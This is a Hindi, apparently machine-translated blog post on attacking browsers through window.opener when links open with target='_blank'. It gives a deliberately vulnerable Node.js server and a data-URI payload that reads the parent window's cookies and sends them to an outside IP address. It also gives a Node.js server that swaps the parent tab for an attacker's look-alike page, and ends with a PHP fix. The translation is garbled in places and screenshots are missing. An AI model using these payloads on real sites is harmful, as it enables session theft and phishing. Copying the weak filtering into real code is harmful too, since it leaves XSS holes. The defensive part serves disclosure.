👩🏾‍⚕️ ♓️ ⚾️ HTML टैग a के माध्यम से हमला 💼 🌊 🌂

एक टैग न केवल मूल्यवान फर है, बल्कि window.opener का आरंभ भी है।
इस लेख में, आपको इस टैग की एक विशेषता और समस्या को हल करने के तरीकों के बारे में एक कहानी मिलेगी।

प्रविष्टि

यह सब एक साल से भी कम समय पहले शुरू हुआ था। मैंने देखा (पाया) कि एक नई विंडो में हाइपरलिंक खोलना जावास्क्रिप्ट window.opener को आरंभ करता है।

संदर्भ के लिए: window.opener पैरेंट विंडो (पैरेंट फ्रेम में), यानी उस विंडो को एक्सेस करता है जिसमें विंडो .open () कहलाती थी।

बेशक, मैंने तुरंत Google शुरू किया, लेकिन मुझे कुछ भी समझदार नहीं मिला। सबकुछ ठीक हो जाएगा, लेकिन अगर एक "बट" के लिए नहीं:
Window.opener को इनिशियलाइज़ किया जाता है भले ही डोमेन और / या IP एड्रेस अलग-अलग हों।

दूसरे दिन, मैं अपना मेल सॉर्ट करता हूं और देखता हूं कि मुझे यैंडेक्स टीम से एक संदेश मिला:

बग रिपोर्ट, या यों कहें, window.opener (इसके बाद wo के रूप में संदर्भित) के माध्यम से हमले का सैद्धांतिक अनुप्रयोग, मेरे द्वारा लगभग एक महीने पहले छोड़ दिया गया था, मुझे अब जवाब की उम्मीद नहीं थी।
लेकिन दुनिया एक अजीब चीज है, है ना? :)

भाग 1

सिद्धांत से कार्रवाई तक!

मान लीजिए हमारे पास एक पेज है जिसमें हम हाइपरलिंक को एम्बेड कर सकते हैं।
हम एक कोड लिखेंगे जो हमें इस भेद्यता को पुन: उत्पन्न करने की अनुमति देता है।

// №1 /*      ,   .    node.js */ var http = require('http'); http.createServer(function (rq, rs) { var cookie="Super :"+Math.random(-1)*30/13+": Mario"; //   ,     rs.writeHead(200, {'Content-Type': 'text/html', 'Set-Cookie': cookie}); if(!require('url').parse(rq.url).query){ //      rs.end('<h2>ERROR!</h2><br>Example: http://127.0.0.1:8080/wo.bug?host=http://google.com/<br>Shutting down :)'); console.log('[DEBUG] URL: '+rq.url+' is not valid!'); //   console.log('Achtung!'); process.kill(process.pid); //  :) } var host=require('url').parse(rq.url, true).query.host, // host=host.replace(/ /g,'%20'),//     host=host.replace(/</g,'&'+'lt;'), //antiXSS host=host.replace(/>/g,'&'+'gt;'), //antiXSS host=host.replace(/javascript:/g,''); //antiXSS console.log('URL: '+host); //    rs.end('<center><br><a href='+host+' target="_blank">click-click</a><br>Hey, '+cookie+'! </center>'); //""  }).listen(8080); //   8080

इस कोड ने विशेष रूप से डेटा प्रोटोकॉल को फ़िल्टर करना छोड़ दिया है। विशेष रूप से गठित लिंक के माध्यम से, और wo के माध्यम से, हम एक XSS हमला कर सकते हैं।
परीक्षणों के लिए, मैंने "बड़े तीन" ब्राउज़रों को लिया: ओपेरा / 12.12, फ़ायरफ़ॉक्स / 18.00, क्रोम / 23.0.127.9.97।

फ़ायर्फ़ॉक्स

तो, हम एक टैग के href विशेषता के लिए "डेटा :, 1" मान पास करते हैं:

हाइपरलिंक पर क्लिक करने के बाद, हम देखते हैं कि wo को इनिशियलाइज़ किया गया है:

और इसका मतलब है कि, शायद, हमारे पास मूल विंडो तक पूर्ण पहुंच प्राप्त करने का अवसर है।
यह केवल यह सत्यापित करने के लिए बनी हुई है।

Wo का उपयोग करते हुए, हमने मूल विंडो के कुकीज़ को सफलतापूर्वक एक्सेस कर लिया है, लेकिन ऐसा क्यों है कि मैं document.cookie = window.opener.document.cookie, ईमानदारी से नहीं जानता। मैं ध्यान दें कि यह सुविधा केवल एफएफ के लिए विशेषता है।

मैंने XP SP3 और FF 17 के साथ एक वीएम पर जाँच की, एक ही तस्वीर:

यह केवल शोषण लिखने के लिए बना हुआ है, जो कुकीज़ (और वास्तव में) चोरी करने के लिए "ए" टैग, डेटा और वू प्रोटोकॉल का उपयोग करेगा।

पेलोड:

 var snif=new Image(), //  ck=window.opener.document.cookie, //     concat = function() { return Array.prototype.slice.call(arguments).join("")};//     +,      GET   ,      JavaScript snif.src=concat('http://192.168.1.4:8081/?cok=',ck); //  (192.168.1.4- IP  )

हम इसे होस्ट चर (डेटा प्रोटोकॉल का उपयोग करके, अर्थात्: डेटा: टेक्स्ट / html), पास करते हैं। लिंक पर क्लिक करें और कुकीज़ का आनंद लें:

और यह वह विंडो है जिसमें हमारा कोड लागू किया गया था:

जैसा कि आप देख सकते हैं, हम कुकीज़ को सफलतापूर्वक चुराने में सक्षम थे।

ओपेरा

ओपेरा के साथ, ब्राउज़र लगभग फ़ायरफ़ॉक्स के समान है। तो कदम वही होंगे।

जाँच करें कि क्या wo आरंभीकृत है:

जांचें कि क्या हम कुकीज़ पढ़ सकते हैं:

हम देखते हैं कि हम पिछले टैब (मूल विंडो) से सफलतापूर्वक कुकीज़ पढ़ने में सक्षम थे।
यह इस भेद्यता का फायदा उठाने के लिए ही है। पेलोड कोड का उपयोग एफएफ के लिए ही किया जाएगा।

हम अपने शोषण को मेजबान चर में पास करते हैं और फिर से कुकीज़ की प्रशंसा करते हैं:

एक लिंक के साथ विंडो:

तो, हम कुकीज़ को सफलतापूर्वक चुराने में सक्षम थे। यह एक दुखद स्थिति है, लेकिन Google Chrome अभी भी बना हुआ है।

क्रोम

Wo तक पहुंच की जाँच करें:

Wo को आरंभीकृत किया गया है, लेकिन Chrome हमें मूल विंडो के डेटा तक पहुंचने की अनुमति नहीं देता है:

अब एक अलग कोण से इस भेद्यता को देखने का समय है।
लेकिन क्या होता है अगर डेटा प्रोटोकॉल फ़िल्टर किया जाता है?
डेटा प्रोटोकॉल को फ़िल्टर करते हुए, हमारे कोड में एक चौथा फ़िल्टरिंग जोड़ें।

कोड फॉर्म लेगा:

 /*…*/ host=host.replace(/</g,'&'+'lt;'), //antiXSS host=host.replace(/>/g,'&'+'gt;'), //antiXSS host=host.replace(/javascript:/g,''), //antiXSS host=host.replace(/data:/g,''); //Data  ! /*…*/

इस कोड में संशोधन करने के बाद, हम अब XSS हमले को अंजाम नहीं दे पाएंगे, लेकिन हम उपयोगकर्ता को गलत तरीके से भ्रमित करने में सक्षम हैं।

भाग २

अब हम पास करते हैं, मेजबान वैरिएबल पर, bad.com का लिंक।

फ़ायर्फ़ॉक्स

FF 18 में, wo को सफलतापूर्वक प्रारंभ किया जाता है, लेकिन हम पिछले फ्रेम (टैब) में प्रवेश नहीं कर सकते हैं, क्योंकि डोमेन अलग हैं और सुरक्षा नीति हमें ऐसा करने की अनुमति नहीं देती है।

ओपेरा

इस ब्राउज़र की स्थिति फ़ायरफ़ॉक्स के साथ स्थिति के समान है।

क्रोम

Chrome में wo तक पहुंच है, लेकिन सुरक्षा नीति हमारे अधिकारों को न्यूनतम रूप से काटती है।

हमला!

फ़ायर्फ़ॉक्स

ओवरराइड:

ओपेरा

पुन: परिभाषित करें:

क्रोम

ओवरराइड:

शोषण लेखन

खैर, अगर कोई भेद्यता है, तो शोषण होना चाहिए :)

 var http = require('http'); if(!process.argv[2] || !process.argv[3]){console.log('Usage: node '+process.argv[1]+' ip port');process.exit(1)} http.createServer(function (rq, rs) { rs.writeHead(200, {'Content-Type': 'text/html'}); // ,  200 if(!rq.headers.referer){ //  Referer  rs.end(''); console.log('Referer is undefined!'); process.exit(1); } var host=require('url').parse(rq.headers.referer).hostname; //    Referer' var out="<html><script>"+ "window.opener.location='http://"+process.argv[2]+":"+process.argv[3]+"/"+host+".html';"+ //    "window.close()"+ //  "</script></html>"; rs.end(out); //  console.log('Window.opener changed!'); process.exit(1); }).listen(80) //   80

यह सरल कोड हमें पेरेंट टैब में साइट को बदलने की अनुमति देता है।
मैं एक आरक्षण करूंगा कि पुनर्निर्देशन पते पर जाएगा: साइट : port / referer.html। जहां "रेफरर" फॉर्म साइट का एक मूल्य है। *
इस तथ्य के कारण कि स्क्रीनशॉट लेना समस्याग्रस्त होगा, मैंने एक वीडियो रिकॉर्ड किया:

http://www.youtube.com/watch?v=Q09GA9oOEs8

सुरक्षा

ठीक है, हमने हमलों के उदाहरणों को देखा, लेकिन खुद का बचाव कैसे करें?
इसे हल करने के दो तरीके हैं: या तो लक्ष्य विशेषता के मान को बाध्य करें, टैग करें, "_ स्वयं", या डांस के साथ एक डांस करें, लेकिन लिंक को एक नई विंडो में खोलें। अनुमान करें कि हम किस रास्ते पर जाते हैं?

यह फिक्स बहुत आसान है: null को window.opener असाइन करना।
हम एक साधारण php कोड लिखेंगे, जो आपको wo को null करने और निर्दिष्ट संसाधन पर पुनर्निर्देशित करने की अनुमति देता है।

 <?php $url=str_replace('data:','',$_GET['href']); // "data:" $url=htmlspecialchars(str_replace('javascript:','',$url)); //  XSS if(!$url){die();}; echo "<html>"; echo "<body>"; echo "<script>"; echo "window.opener=null;"; // wo  null echo "document.location='".$url."';"; //  echo "</script>"; echo "</body>"; echo "</html>"; ?>

हम केवल अपने कोड (1) में सुधार लागू कर सकते हैं।
मान लीजिए कि हमारी php फ़ाइल में संग्रहीत है: site.com/file.php
फिर हमारा कोड (1) फॉर्म लेगा:

 /**/ rs.end('<center><br><a href="http://site.com/file.php?href='+host+'" target="_blank">click-click</a><br>Hey, '+cookie+'! </center>'); /**/

और यहाँ हमारे "शर्मिंदगी" का परिणाम है:

हां, यह एक असुविधाजनक तरीका है, लेकिन इस समस्या का केवल एक ही समाधान मैं इस समय पेश कर सकता हूं।
यदि आपके पास कोई विचार है, तो कृपया उन्हें अपनी टिप्पणियों में छोड़ दें।

दुर्भाग्य

इस हमले के प्रति संवेदनशील संसाधनों के बीच, मैं प्रकाश डाल सकता हूं
गूगल:

विचरनेवाला:

सूची आगे बढ़ती है।

और हां, यह जानकारी केवल सूचना के उद्देश्यों के लिए प्रदान की जाती है।
आपको इसे हमलों के लिए उपयोग करने का अधिकार नहीं है, अन्यथा आपको रूसी संघ के आपराधिक संहिता द्वारा दंडित किया जाएगा!
आपका दिन शुभ हो!

UPD: हम IE 9 में window.opener से निपटते हैं (क्षमा करें, केवल यह हाथ में था)
IE 9 के साथ कुछ चल रहा है ...
उदाहरण के लिए, इसमें कोई डेटा प्रोटोकॉल नहीं है।